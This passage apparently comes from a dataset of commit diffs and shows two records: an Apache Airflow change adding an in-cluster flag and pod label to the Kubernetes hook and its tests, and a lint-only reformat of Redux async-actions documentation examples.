<add> """Expose whether the hook is configured with ``load_incluster_config`` or not"""
<add> if self._is_in_cluster is not None:
<add> return self._is_in_cluster
<add> self.api_client # so we can determine if we are in_cluster or not
<add> return self._is_in_cluster
<add>
<ide> @cached_property
<ide> def api_client(self) -> Any:
<ide> """Cached Kubernetes API client"""
<ide><path>airflow/providers/cncf/kubernetes/operators/kubernetes_pod.py
<ide> def pod_manager(self) -> PodManager:
<ide> return PodManager(kube_client=self.client)
<ide>
<ide> def get_hook(self):
<add> warnings.warn("get_hook is deprecated. Please use hook instead.", DeprecationWarning, stacklevel=2)
<add> return self.hook
<add>
<add> @cached_property
<add> def hook(self) -> KubernetesHook:
<ide> hook = KubernetesHook(
<ide> conn_id=self.kubernetes_conn_id,
<ide> in_cluster=self.in_cluster,
<ide> def get_hook(self):
<ide>
<ide> @cached_property
<ide> def client(self) -> CoreV1Api:
<del> hook = self.get_hook()
<del> return hook.core_v1_client
<add> return self.hook.core_v1_client
<ide>
<ide> def find_pod(self, namespace, context, *, exclude_checked=True) -> Optional[k8s.V1Pod]:
<ide> """Returns an already-running pod for this task instance if one exists."""
<ide> def build_pod_request_obj(self, context=None):
<ide> pod.metadata.labels.update(
<ide> {
<ide> 'airflow_version': airflow_version.replace('+', '-'),
<add> 'airflow_kpo_in_cluster': str(self.hook.is_in_cluster),
<ide> }
<ide> )
<ide> pod_mutation_hook(pod)
<ide><path>kubernetes_tests/test_kubernetes_pod_operator.py
<ide> def setUp(self):
<ide> 'foo': 'bar',
<ide> 'kubernetes_pod_operator': 'True',
<ide> 'airflow_version': airflow_version.replace('+', '-'),
<add> 'airflow_kpo_in_cluster': 'False',
<ide> 'run_id': 'manual__2016-01-01T0100000100-da4d1ce7b',
<ide> 'dag_id': 'dag',
<ide> 'task_id': ANY,
<ide> def test_pod_template_file_with_overrides_system(self):
<ide> 'fizz': 'buzz',
<ide> 'foo': 'bar',
<ide> 'airflow_version': mock.ANY,
<add> 'airflow_kpo_in_cluster': 'False',
<ide> 'dag_id': 'dag',
<ide> 'run_id': 'manual__2016-01-01T0100000100-da4d1ce7b',
<ide> 'kubernetes_pod_operator': 'True',
<ide> def test_pod_template_file_with_full_pod_spec(self):
<ide> 'fizz': 'buzz',
<ide> 'foo': 'bar',
<ide> 'airflow_version': mock.ANY,
<add> 'airflow_kpo_in_cluster': 'False',
<ide> 'dag_id': 'dag',
<ide> 'run_id': 'manual__2016-01-01T0100000100-da4d1ce7b',
<ide> 'kubernetes_pod_operator': 'True',
<ide> def test_full_pod_spec(self):
<ide> 'fizz': 'buzz',
<ide> 'foo': 'bar',
<ide> 'airflow_version': mock.ANY,
<add> 'airflow_kpo_in_cluster': 'False',
<ide> 'dag_id': 'dag',
<ide> 'run_id': 'manual__2016-01-01T0100000100-da4d1ce7b',
<ide> 'kubernetes_pod_operator': 'True',
<ide> def test_init_container(self):
<ide> @mock.patch(f"{POD_MANAGER_CLASS}.extract_xcom")
<ide> @mock.patch(f"{POD_MANAGER_CLASS}.await_pod_completion")
<ide> @mock.patch(f"{POD_MANAGER_CLASS}.create_pod", new=MagicMock)
<del> @mock.patch(HOOK_CLASS, new=MagicMock)
<del> def test_pod_template_file(self, await_pod_completion_mock, extract_xcom_mock):
<add> @mock.patch(HOOK_CLASS)
<add> def test_pod_template_file(self, hook_mock, await_pod_completion_mock, extract_xcom_mock):
<ide> # todo: This isn't really a system test
<add> hook_mock.return_value.is_in_cluster = False
<ide> extract_xcom_mock.return_value = '{}'
<ide> path = sys.path[0] + '/tests/kubernetes/pod.yaml'
<ide> k = KubernetesPodOperator(
<ide> def test_pod_template_file(self, await_pod_completion_mock, extract_xcom_mock):
<ide> 'metadata': {
<ide> 'annotations': {},
<ide> 'labels': {
<add> 'airflow_kpo_in_cluster': 'False',
<ide> 'dag_id': 'dag',
<ide> 'run_id': 'manual__2016-01-01T0100000100-da4d1ce7b',
<ide> 'kubernetes_pod_operator': 'True',
<ide> def test_pod_template_file(self, await_pod_completion_mock, extract_xcom_mock):
<ide>
<ide> @mock.patch(f"{POD_MANAGER_CLASS}.await_pod_completion")
<ide> @mock.patch(f"{POD_MANAGER_CLASS}.create_pod", new=MagicMock)
<del> @mock.patch(HOOK_CLASS, new=MagicMock)
<del> def test_pod_priority_class_name(self, await_pod_completion_mock):
<add> @mock.patch(HOOK_CLASS)
<add> def test_pod_priority_class_name(self, hook_mock, await_pod_completion_mock):
<ide> """
<ide> Test ability to assign priorityClassName to pod
<ide>
<ide> todo: This isn't really a system test
<ide> """
<add> hook_mock.return_value.is_in_cluster = False
<ide>
<ide> priority_class_name = "medium-test"
<ide> k = KubernetesPodOperator(
<ide><path>kubernetes_tests/test_kubernetes_pod_operator_backcompat.py
<ide> def setUp(self):
<ide> 'foo': 'bar',
<ide> 'kubernetes_pod_operator': 'True',
<ide> 'airflow_version': airflow_version.replace('+', '-'),
<add> 'airflow_kpo_in_cluster': 'False',
<ide> 'run_id': 'manual__2016-01-01T0100000100-da4d1ce7b',
<ide> 'dag_id': 'dag',
<ide> 'task_id': 'task',
<ide> def test_pod_template_file_with_overrides_system(self):
<ide> 'fizz': 'buzz',
<ide> 'foo': 'bar',
<ide> 'airflow_version': mock.ANY,
<add> 'airflow_kpo_in_cluster': 'False',
<ide> 'dag_id': 'dag',
<ide> 'run_id': 'manual__2016-01-01T0100000100-da4d1ce7b',
<ide> 'kubernetes_pod_operator': 'True',
<ide><path>tests/providers/cncf/kubernetes/hooks/test_kubernetes.py
<ide> def test_in_cluster_connection(
<ide> else:
<ide> mock_get_default_client.assert_called()
<ide> assert isinstance(api_conn, kubernetes.client.api_client.ApiClient)
<add> if mock_get_default_client.called:
<add> # get_default_client sets it, but it's mocked
<add> assert kubernetes_hook.is_in_cluster is None
<add> else:
<add> assert kubernetes_hook.is_in_cluster is in_cluster_called
<ide>
<ide> @pytest.mark.parametrize('in_cluster_fails', [True, False])
<ide> @patch("kubernetes.config.kube_config.KubeConfigLoader")
<ide> def test_get_default_client(
<ide> mock_incluster.assert_called_once()
<ide> mock_merger.assert_called_once_with(KUBE_CONFIG_PATH)
<ide> mock_loader.assert_called_once()
<add> assert kubernetes_hook.is_in_cluster is False
<ide> else:
<ide> mock_incluster.assert_called_once()
<ide> mock_merger.assert_not_called()
<ide> mock_loader.assert_not_called()
<add> assert kubernetes_hook.is_in_cluster is True
<ide> assert isinstance(api_conn, kubernetes.client.api_client.ApiClient)
<ide>
<ide> @pytest.mark.parametrize(
<ide><path>tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py
<ide> def run_pod(self, operator: KubernetesPodOperator, map_index: int = -1) -> k8s.V
<ide> remote_pod_mock = MagicMock()
<ide> remote_pod_mock.status.phase = 'Succeeded'
<ide> self.await_pod_mock.return_value = remote_pod_mock
<add> if not isinstance(self.hook_mock.return_value.is_in_cluster, bool):
<add> self.hook_mock.return_value.is_in_cluster = True
<ide> operator.execute(context=context)
<ide> return self.await_start_mock.call_args[1]['pod']
<ide>
<ide> def test_envs_from_configmaps(
<ide> pod = self.run_pod(k)
<ide> assert pod.spec.containers[0].env_from == env_from
<ide>
<del> def test_labels(self):
<add> @pytest.mark.parametrize(("in_cluster",), ([True], [False]))
<add> def test_labels(self, in_cluster):
<add> self.hook_mock.return_value.is_in_cluster = in_cluster
<ide> k = KubernetesPodOperator(
<ide> namespace="default",
<ide> image="ubuntu:16.04",
<ide> cmds=["bash", "-cx"],
<ide> labels={"foo": "bar"},
<ide> name="test",
<ide> task_id="task",
<del> in_cluster=False,
<add> in_cluster=in_cluster,
<ide> do_xcom_push=False,
<ide> )
<ide> pod = self.run_pod(k)
<ide> def test_labels(self):
<ide> "try_number": "1",
<ide> "airflow_version": mock.ANY,
<ide> "run_id": "test",
<add> "airflow_kpo_in_cluster": str(in_cluster),
<ide> }
<ide>
<ide> def test_labels_mapped(self):
<ide> def test_labels_mapped(self):
<ide> "airflow_version": mock.ANY,
<ide> "run_id": "test",
<ide> "map_index": "10",
<add> "airflow_kpo_in_cluster": "True",
<ide> }
<ide>
<ide> def test_find_pod_labels(self):
<ide> def test_full_pod_spec(self, randomize_name, pod_spec):
<ide> "task_id": "task",
<ide> "try_number": "1",
<ide> "airflow_version": mock.ANY,
<add> "airflow_kpo_in_cluster": "True",
<ide> "run_id": "test",
<ide> }
<ide>
<ide> def test_full_pod_spec_kwargs(self, randomize_name, pod_spec):
<ide> "task_id": "task",
<ide> "try_number": "1",
<ide> "airflow_version": mock.ANY,
<add> "airflow_kpo_in_cluster": "True",
<ide> "run_id": "test",
<ide> }
<ide>
<ide> def test_pod_template_file(self, randomize_name, pod_template_file):
<ide> "task_id": "task",
<ide> "try_number": "1",
<ide> "airflow_version": mock.ANY,
<add> "airflow_kpo_in_cluster": "True",
<ide> "run_id": "test",
<ide> }
<ide> assert pod.metadata.namespace == "mynamespace"
<ide> def test_pod_template_file_kwargs_override(self, randomize_name, pod_template_fi
<ide> "task_id": "task",
<ide> "try_number": "1",
<ide> "airflow_version": mock.ANY,
<add> "airflow_kpo_in_cluster": "True",
<ide> "run_id": "test",
<ide> }
<ide>
<ide> def test_patch_core_settings(self, key, value, attr, patched_value):
<ide> # the hook attr should be None
<ide> op = KubernetesPodOperator(task_id='abc', name='hi')
<ide> self.hook_patch.stop()
<del> hook = op.get_hook()
<del> assert getattr(hook, attr) is None
<add> assert getattr(op.hook, attr) is None
<ide> # now check behavior with a non-default value
<ide> with conf_vars({('kubernetes', key): value}):
<ide> op = KubernetesPodOperator(task_id='abc', name='hi')
<del> hook = op.get_hook()
<del> assert getattr(hook, attr) == patched_value
<add> assert getattr(op.hook, attr) == patched_value
<ide>
<ide>
<ide> def test__suppress(): | 6 |
Text | Text | fix lint errors for docs/advanced | a7df87c892ba8961a8313b085202acbb8cb9e891 | <ide><path>docs/advanced/AsyncActions.md
<ide> Let’s start by defining the several synchronous action types and action creato
<ide> #### `actions.js`
<ide>
<ide> ```js
<del>export const SELECT_REDDIT = 'SELECT_REDDIT';
<add>export const SELECT_REDDIT = 'SELECT_REDDIT'
<ide>
<ide> export function selectReddit(reddit) {
<ide> return {
<ide> type: SELECT_REDDIT,
<ide> reddit
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> They can also press a “refresh” button to update it:
<ide>
<ide> ```js
<del>export const INVALIDATE_REDDIT = 'INVALIDATE_REDDIT';
<add>export const INVALIDATE_REDDIT = 'INVALIDATE_REDDIT'
<ide>
<ide> export function invalidateReddit(reddit) {
<ide> return {
<ide> type: INVALIDATE_REDDIT,
<ide> reddit
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> These were the actions governed by the user interaction. We will also have anoth
<ide> When it’s time to fetch the posts for some reddit, we will dispatch a `REQUEST_POSTS` action:
<ide>
<ide> ```js
<del>export const REQUEST_POSTS = 'REQUEST_POSTS';
<add>export const REQUEST_POSTS = 'REQUEST_POSTS'
<ide>
<ide> export function requestPosts(reddit) {
<ide> return {
<ide> type: REQUEST_POSTS,
<ide> reddit
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> It is important for it to be separate from `SELECT_REDDIT` or `INVALIDATE_REDDIT
<ide> Finally, when the network request comes through, we will dispatch `RECEIVE_POSTS`:
<ide>
<ide> ```js
<del>export const RECEIVE_POSTS = 'RECEIVE_POSTS';
<add>export const RECEIVE_POSTS = 'RECEIVE_POSTS'
<ide>
<ide> export function receivePosts(reddit, json) {
<ide> return {
<ide> type: RECEIVE_POSTS,
<ide> reddit,
<ide> posts: json.data.children.map(child => child.data),
<ide> receivedAt: Date.now()
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> Here’s what the state shape for our “Reddit headlines” app might look like
<ide> isFetching: false,
<ide> didInvalidate: false,
<ide> lastUpdated: 1439478405547,
<del> items: [{
<del> id: 42,
<del> title: 'Confusion about Flux and Relay'
<del> }, {
<del> id: 500,
<del> title: 'Creating a Simple Application Using React JS and Flux Architecture'
<del> }]
<add> items: [
<add> {
<add> id: 42,
<add> title: 'Confusion about Flux and Relay'
<add> },
<add> {
<add> id: 500,
<add> title: 'Creating a Simple Application Using React JS and Flux Architecture'
<add> }
<add> ]
<ide> }
<ide> }
<ide> }
<ide> There are a few important bits here:
<ide> > isFetching: false,
<ide> > didInvalidate: false,
<ide> > lastUpdated: 1439478405547,
<del>> items: [42, 100]
<add>> items: [ 42, 100 ]
<ide> > }
<ide> > }
<ide> > }
<ide> Before going into the details of dispatching actions together with network reque
<ide> #### `reducers.js`
<ide>
<ide> ```js
<del>import { combineReducers } from 'redux';
<add>import { combineReducers } from 'redux'
<ide> import {
<ide> SELECT_REDDIT, INVALIDATE_REDDIT,
<ide> REQUEST_POSTS, RECEIVE_POSTS
<del>} from '../actions';
<add>} from '../actions'
<ide>
<ide> function selectedReddit(state = 'reactjs', action) {
<ide> switch (action.type) {
<del> case SELECT_REDDIT:
<del> return action.reddit;
<del> default:
<del> return state;
<del> }
<add> case SELECT_REDDIT:
<add> return action.reddit
<add> default:
<add> return state
<add> }
<ide> }
<ide>
<ide> function posts(state = {
<ide> function posts(state = {
<ide> case INVALIDATE_REDDIT:
<ide> return Object.assign({}, state, {
<ide> didInvalidate: true
<del> });
<add> })
<ide> case REQUEST_POSTS:
<ide> return Object.assign({}, state, {
<ide> isFetching: true,
<ide> didInvalidate: false
<del> });
<add> })
<ide> case RECEIVE_POSTS:
<ide> return Object.assign({}, state, {
<ide> isFetching: false,
<ide> didInvalidate: false,
<ide> items: action.posts,
<ide> lastUpdated: action.receivedAt
<del> });
<add> })
<ide> default:
<del> return state;
<add> return state
<ide> }
<ide> }
<ide>
<ide> function postsByReddit(state = {}, action) {
<ide> switch (action.type) {
<del> case INVALIDATE_REDDIT:
<del> case RECEIVE_POSTS:
<del> case REQUEST_POSTS:
<del> return Object.assign({}, state, {
<del> [action.reddit]: posts(state[action.reddit], action)
<del> });
<del> default:
<del> return state;
<add> case INVALIDATE_REDDIT:
<add> case RECEIVE_POSTS:
<add> case REQUEST_POSTS:
<add> return Object.assign({}, state, {
<add> [action.reddit]: posts(state[action.reddit], action)
<add> })
<add> default:
<add> return state
<ide> }
<ide> }
<ide>
<ide> const rootReducer = combineReducers({
<ide> postsByReddit,
<ide> selectedReddit
<del>});
<add>})
<ide>
<del>export default rootReducer;
<add>export default rootReducer
<ide> ```
<ide>
<ide> In this code, there are two interesting parts:
<ide> In this code, there are two interesting parts:
<ide> ```js
<ide> return Object.assign({}, state, {
<ide> [action.reddit]: posts(state[action.reddit], action)
<del> });
<add> })
<ide> ```
<ide> is equivalent to this:
<ide>
<ide> ```js
<del> let nextState = {};
<del> nextState[action.reddit] = posts(state[action.reddit], action);
<del> return Object.assign({}, state, nextState);
<add> let nextState = {}
<add> nextState[action.reddit] = posts(state[action.reddit], action)
<add> return Object.assign({}, state, nextState)
<ide> ```
<ide> * We extracted `posts(state, action)` that manages the state of a specific post list. This is just [reducer composition](../basics/Reducers.md#splitting-reducers)! It is our choice how to split the reducer into smaller reducers, and in this case, we’re delegating updating items inside an object to a `posts` reducer. The [real world example](../introduction/Examples.html#real-world) goes even further, showing how to create a reducer factory for parameterized pagination reducers.
<ide>
<ide> We can still define these special thunk action creators inside our `actions.js`
<ide> #### `actions.js`
<ide>
<ide> ```js
<del>import fetch from 'isomorphic-fetch';
<add>import fetch from 'isomorphic-fetch'
<ide>
<del>export const REQUEST_POSTS = 'REQUEST_POSTS';
<add>export const REQUEST_POSTS = 'REQUEST_POSTS'
<ide> function requestPosts(reddit) {
<ide> return {
<ide> type: REQUEST_POSTS,
<ide> reddit
<del> };
<add> }
<ide> }
<ide>
<ide> export const RECEIVE_POSTS = 'RECEIVE_POSTS'
<ide> function receivePosts(reddit, json) {
<ide> reddit,
<ide> posts: json.data.children.map(child => child.data),
<ide> receivedAt: Date.now()
<del> };
<add> }
<ide> }
<ide>
<ide> // Meet our first thunk action creator!
<ide> // Though its insides are different, you would use it just like any other action creator:
<del>// store.dispatch(fetchPosts('reactjs'));
<add>// store.dispatch(fetchPosts('reactjs'))
<ide>
<ide> export function fetchPosts(reddit) {
<ide>
<ide> export function fetchPosts(reddit) {
<ide> // First dispatch: the app state is updated to inform
<ide> // that the API call is starting.
<ide>
<del> dispatch(requestPosts(reddit));
<add> dispatch(requestPosts(reddit))
<ide>
<ide> // The function called by the thunk middleware can return a value,
<ide> // that is passed on as the return value of the dispatch method.
<ide> export function fetchPosts(reddit) {
<ide> // Here, we update the app state with the results of the API call.
<ide>
<ide> dispatch(receivePosts(reddit, json))
<del> );
<add> )
<ide>
<ide> // In a real world app, you also want to
<ide> // catch any error in the network call.
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> export function fetchPosts(reddit) {
<ide>
<ide> >```js
<ide> // Do this in every file where you use `fetch`
<del>>import fetch from 'isomorphic-fetch';
<add>>import fetch from 'isomorphic-fetch'
<ide> >```
<ide>
<ide> >Internally, it uses [`whatwg-fetch` polyfill](https://github.com/github/fetch) on the client, and [`node-fetch`](https://github.com/bitinn/node-fetch) on the server, so you won’t need to change API calls if you change your app to be [universal](https://medium.com/@mjackson/universal-javascript-4761051b7ae9).
<ide> export function fetchPosts(reddit) {
<ide>
<ide> >```js
<ide> >// Do this once before any other code in your app
<del>>import 'babel-core/polyfill';
<add>>import 'babel-core/polyfill'
<ide> >```
<ide>
<ide> How do we include the Redux Thunk middleware in the dispatch mechanism? We use the [`applyMiddleware()`](../api/applyMiddleware.md) method from Redux, as shown below:
<ide>
<ide> #### `index.js`
<ide>
<ide> ```js
<del>import thunkMiddleware from 'redux-thunk';
<del>import createLogger from 'redux-logger';
<del>import { createStore, applyMiddleware } from 'redux';
<del>import { selectReddit, fetchPosts } from './actions';
<del>import rootReducer from './reducers';
<add>import thunkMiddleware from 'redux-thunk'
<add>import createLogger from 'redux-logger'
<add>import { createStore, applyMiddleware } from 'redux'
<add>import { selectReddit, fetchPosts } from './actions'
<add>import rootReducer from './reducers'
<ide>
<del>const loggerMiddleware = createLogger();
<add>const loggerMiddleware = createLogger()
<ide>
<ide> const createStoreWithMiddleware = applyMiddleware(
<ide> thunkMiddleware, // lets us dispatch() functions
<ide> loggerMiddleware // neat middleware that logs actions
<del>)(createStore);
<add>)(createStore)
<ide>
<del>const store = createStoreWithMiddleware(rootReducer);
<add>const store = createStoreWithMiddleware(rootReducer)
<ide>
<del>store.dispatch(selectReddit('reactjs'));
<add>store.dispatch(selectReddit('reactjs'))
<ide> store.dispatch(fetchPosts('reactjs')).then(() =>
<ide> console.log(store.getState())
<del>);
<add>)
<ide> ```
<ide>
<ide> The nice thing about thunks is that they can dispatch results of each other:
<ide>
<ide> #### `actions.js`
<ide>
<ide> ```js
<del>import fetch from 'isomorphic-fetch';
<add>import fetch from 'isomorphic-fetch'
<ide>
<del>export const REQUEST_POSTS = 'REQUEST_POSTS';
<add>export const REQUEST_POSTS = 'REQUEST_POSTS'
<ide> function requestPosts(reddit) {
<ide> return {
<ide> type: REQUEST_POSTS,
<ide> reddit
<del> };
<add> }
<ide> }
<ide>
<ide> export const RECEIVE_POSTS = 'RECEIVE_POSTS'
<ide> function receivePosts(reddit, json) {
<ide> reddit,
<ide> posts: json.data.children.map(child => child.data),
<ide> receivedAt: Date.now()
<del> };
<add> }
<ide> }
<ide>
<ide> function fetchPosts(reddit) {
<ide> return dispatch => {
<del> dispatch(requestPosts(reddit));
<add> dispatch(requestPosts(reddit))
<ide> return fetch(`http://www.reddit.com/r/${reddit}.json`)
<ide> .then(response => response.json())
<del> .then(json => dispatch(receivePosts(reddit, json)));
<del> };
<add> .then(json => dispatch(receivePosts(reddit, json)))
<add> }
<ide> }
<ide>
<ide> function shouldFetchPosts(state, reddit) {
<del> const posts = state.postsByReddit[reddit];
<add> const posts = state.postsByReddit[reddit]
<ide> if (!posts) {
<del> return true;
<add> return true
<ide> } else if (posts.isFetching) {
<del> return false;
<add> return false
<ide> } else {
<del> return posts.didInvalidate;
<add> return posts.didInvalidate
<ide> }
<ide> }
<ide>
<ide> export function fetchPostsIfNeeded(reddit) {
<ide> return (dispatch, getState) => {
<ide> if (shouldFetchPosts(getState(), reddit)) {
<ide> // Dispatch a thunk from thunk!
<del> return dispatch(fetchPosts(reddit));
<add> return dispatch(fetchPosts(reddit))
<ide> } else {
<ide> // Let the calling code know there's nothing to wait for.
<del> return Promise.resolve();
<add> return Promise.resolve()
<ide> }
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> This lets us write more sophisticated async control flow gradually, while the co
<ide>
<ide> ```js
<ide> store.dispatch(fetchPostsIfNeeded('reactjs')).then(() =>
<del> console.log(store.getState());
<del>);
<add> console.log(store.getState())
<add>)
<ide> ```
<ide>
<ide> >##### Note about Server Rendering
<ide><path>docs/advanced/ExampleRedditAPI.md
<ide> This is the complete source code of the Reddit headline fetching example we buil
<ide> #### `index.js`
<ide>
<ide> ```js
<del>import 'babel-core/polyfill';
<add>import 'babel-core/polyfill'
<ide>
<del>import React from 'react';
<del>import { render } from 'react-dom';
<del>import Root from './containers/Root';
<add>import React from 'react'
<add>import { render } from 'react-dom'
<add>import Root from './containers/Root'
<ide>
<ide> render(
<ide> <Root />,
<ide> document.getElementById('root')
<del>);
<add>)
<ide> ```
<ide>
<ide> ## Action Creators and Constants
<ide>
<ide> #### `actions.js`
<ide>
<ide> ```js
<del>import fetch from 'isomorphic-fetch';
<add>import fetch from 'isomorphic-fetch'
<ide>
<del>export const REQUEST_POSTS = 'REQUEST_POSTS';
<del>export const RECEIVE_POSTS = 'RECEIVE_POSTS';
<del>export const SELECT_REDDIT = 'SELECT_REDDIT';
<del>export const INVALIDATE_REDDIT = 'INVALIDATE_REDDIT';
<add>export const REQUEST_POSTS = 'REQUEST_POSTS'
<add>export const RECEIVE_POSTS = 'RECEIVE_POSTS'
<add>export const SELECT_REDDIT = 'SELECT_REDDIT'
<add>export const INVALIDATE_REDDIT = 'INVALIDATE_REDDIT'
<ide>
<ide> export function selectReddit(reddit) {
<ide> return {
<ide> type: SELECT_REDDIT,
<ide> reddit
<del> };
<add> }
<ide> }
<ide>
<ide> export function invalidateReddit(reddit) {
<ide> return {
<ide> type: INVALIDATE_REDDIT,
<ide> reddit
<del> };
<add> }
<ide> }
<ide>
<ide> function requestPosts(reddit) {
<ide> return {
<ide> type: REQUEST_POSTS,
<ide> reddit
<del> };
<add> }
<ide> }
<ide>
<ide> function receivePosts(reddit, json) {
<ide> function receivePosts(reddit, json) {
<ide> reddit,
<ide> posts: json.data.children.map(child => child.data),
<ide> receivedAt: Date.now()
<del> };
<add> }
<ide> }
<ide>
<ide> function fetchPosts(reddit) {
<ide> return dispatch => {
<del> dispatch(requestPosts(reddit));
<add> dispatch(requestPosts(reddit))
<ide> return fetch(`http://www.reddit.com/r/${reddit}.json`)
<ide> .then(req => req.json())
<del> .then(json => dispatch(receivePosts(reddit, json)));
<del> };
<add> .then(json => dispatch(receivePosts(reddit, json)))
<add> }
<ide> }
<ide>
<ide> function shouldFetchPosts(state, reddit) {
<del> const posts = state.postsByReddit[reddit];
<add> const posts = state.postsByReddit[reddit]
<ide> if (!posts) {
<del> return true;
<add> return true
<ide> } else if (posts.isFetching) {
<del> return false;
<add> return false
<ide> } else {
<del> return posts.didInvalidate;
<add> return posts.didInvalidate
<ide> }
<ide> }
<ide>
<ide> export function fetchPostsIfNeeded(reddit) {
<ide> return (dispatch, getState) => {
<ide> if (shouldFetchPosts(getState(), reddit)) {
<del> return dispatch(fetchPosts(reddit));
<add> return dispatch(fetchPosts(reddit))
<ide> }
<del> };
<add> }
<ide> }
<ide> ```
<ide>
<ide> export function fetchPostsIfNeeded(reddit) {
<ide> #### `reducers.js`
<ide>
<ide> ```js
<del>import { combineReducers } from 'redux';
<add>import { combineReducers } from 'redux'
<ide> import {
<ide> SELECT_REDDIT, INVALIDATE_REDDIT,
<ide> REQUEST_POSTS, RECEIVE_POSTS
<del>} from './actions';
<add>} from './actions'
<ide>
<ide> function selectedReddit(state = 'reactjs', action) {
<ide> switch (action.type) {
<ide> case SELECT_REDDIT:
<del> return action.reddit;
<add> return action.reddit
<ide> default:
<del> return state;
<add> return state
<ide> }
<ide> }
<ide>
<ide> function posts(state = {
<ide> items: []
<ide> }, action) {
<ide> switch (action.type) {
<del> case INVALIDATE_REDDIT:
<del> return Object.assign({}, state, {
<del> didInvalidate: true
<del> });
<del> case REQUEST_POSTS:
<del> return Object.assign({}, state, {
<del> isFetching: true,
<del> didInvalidate: false
<del> });
<del> case RECEIVE_POSTS:
<del> return Object.assign({}, state, {
<del> isFetching: false,
<del> didInvalidate: false,
<del> items: action.posts,
<del> lastUpdated: action.receivedAt
<del> });
<del> default:
<del> return state;
<add> case INVALIDATE_REDDIT:
<add> return Object.assign({}, state, {
<add> didInvalidate: true
<add> })
<add> case REQUEST_POSTS:
<add> return Object.assign({}, state, {
<add> isFetching: true,
<add> didInvalidate: false
<add> })
<add> case RECEIVE_POSTS:
<add> return Object.assign({}, state, {
<add> isFetching: false,
<add> didInvalidate: false,
<add> items: action.posts,
<add> lastUpdated: action.receivedAt
<add> })
<add> default:
<add> return state
<ide> }
<ide> }
<ide>
<ide> function postsByReddit(state = { }, action) {
<ide> switch (action.type) {
<del> case INVALIDATE_REDDIT:
<del> case RECEIVE_POSTS:
<del> case REQUEST_POSTS:
<del> return Object.assign({}, state, {
<del> [action.reddit]: posts(state[action.reddit], action)
<del> });
<del> default:
<del> return state;
<add> case INVALIDATE_REDDIT:
<add> case RECEIVE_POSTS:
<add> case REQUEST_POSTS:
<add> return Object.assign({}, state, {
<add> [action.reddit]: posts(state[action.reddit], action)
<add> })
<add> default:
<add> return state
<ide> }
<ide> }
<ide>
<ide> const rootReducer = combineReducers({
<ide> postsByReddit,
<ide> selectedReddit
<del>});
<add>})
<ide>
<del>export default rootReducer;
<add>export default rootReducer
<ide> ```
<ide>
<ide> ## Store
<ide>
<ide> #### `configureStore.js`
<ide>
<ide> ```js
<del>import { createStore, applyMiddleware } from 'redux';
<del>import thunkMiddleware from 'redux-thunk';
<del>import createLogger from 'redux-logger';
<del>import rootReducer from './reducers';
<add>import { createStore, applyMiddleware } from 'redux'
<add>import thunkMiddleware from 'redux-thunk'
<add>import createLogger from 'redux-logger'
<add>import rootReducer from './reducers'
<ide>
<del>const loggerMiddleware = createLogger();
<add>const loggerMiddleware = createLogger()
<ide>
<ide> const createStoreWithMiddleware = applyMiddleware(
<ide> thunkMiddleware,
<ide> loggerMiddleware
<del>)(createStore);
<add>)(createStore)
<ide>
<ide> export default function configureStore(initialState) {
<del> return createStoreWithMiddleware(rootReducer, initialState);
<add> return createStoreWithMiddleware(rootReducer, initialState)
<ide> }
<ide> ```
<ide>
<ide> export default function configureStore(initialState) {
<ide> #### `containers/Root.js`
<ide>
<ide> ```js
<del>import React, { Component } from 'react';
<del>import { Provider } from 'react-redux';
<del>import configureStore from '../configureStore';
<del>import AsyncApp from './AsyncApp';
<add>import React, { Component } from 'react'
<add>import { Provider } from 'react-redux'
<add>import configureStore from '../configureStore'
<add>import AsyncApp from './AsyncApp'
<ide>
<del>const store = configureStore();
<add>const store = configureStore()
<ide>
<ide> export default class Root extends Component {
<ide> render() {
<ide> return (
<ide> <Provider store={store}>
<ide> <AsyncApp />
<ide> </Provider>
<del> );
<add> )
<ide> }
<ide> }
<ide> ```
<ide>
<ide> #### `containers/AsyncApp.js`
<ide>
<ide> ```js
<del>import React, { Component, PropTypes } from 'react';
<del>import { connect } from 'react-redux';
<del>import { selectReddit, fetchPostsIfNeeded, invalidateReddit } from '../actions';
<del>import Picker from '../components/Picker';
<del>import Posts from '../components/Posts';
<add>import React, { Component, PropTypes } from 'react'
<add>import { connect } from 'react-redux'
<add>import { selectReddit, fetchPostsIfNeeded, invalidateReddit } from '../actions'
<add>import Picker from '../components/Picker'
<add>import Posts from '../components/Posts'
<ide>
<ide> class AsyncApp extends Component {
<ide> constructor(props) {
<del> super(props);
<del> this.handleChange = this.handleChange.bind(this);
<del> this.handleRefreshClick = this.handleRefreshClick.bind(this);
<add> super(props)
<add> this.handleChange = this.handleChange.bind(this)
<add> this.handleRefreshClick = this.handleRefreshClick.bind(this)
<ide> }
<ide>
<ide> componentDidMount() {
<del> const { dispatch, selectedReddit } = this.props;
<del> dispatch(fetchPostsIfNeeded(selectedReddit));
<add> const { dispatch, selectedReddit } = this.props
<add> dispatch(fetchPostsIfNeeded(selectedReddit))
<ide> }
<ide>
<ide> componentWillReceiveProps(nextProps) {
<ide> if (nextProps.selectedReddit !== this.props.selectedReddit) {
<del> const { dispatch, selectedReddit } = nextProps;
<del> dispatch(fetchPostsIfNeeded(selectedReddit));
<add> const { dispatch, selectedReddit } = nextProps
<add> dispatch(fetchPostsIfNeeded(selectedReddit))
<ide> }
<ide> }
<ide>
<ide> handleChange(nextReddit) {
<del> this.props.dispatch(selectReddit(nextReddit));
<add> this.props.dispatch(selectReddit(nextReddit))
<ide> }
<ide>
<ide> handleRefreshClick(e) {
<del> e.preventDefault();
<add> e.preventDefault()
<ide>
<del> const { dispatch, selectedReddit } = this.props;
<del> dispatch(invalidateReddit(selectedReddit));
<del> dispatch(fetchPostsIfNeeded(selectedReddit));
<add> const { dispatch, selectedReddit } = this.props
<add> dispatch(invalidateReddit(selectedReddit))
<add> dispatch(fetchPostsIfNeeded(selectedReddit))
<ide> }
<ide>
<del> render () {
<del> const { selectedReddit, posts, isFetching, lastUpdated } = this.props;
<add> render() {
<add> const { selectedReddit, posts, isFetching, lastUpdated } = this.props
<ide> return (
<ide> <div>
<ide> <Picker value={selectedReddit}
<ide> onChange={this.handleChange}
<del> options={['reactjs', 'frontend']} />
<add> options={[ 'reactjs', 'frontend' ]} />
<ide> <p>
<ide> {lastUpdated &&
<ide> <span>
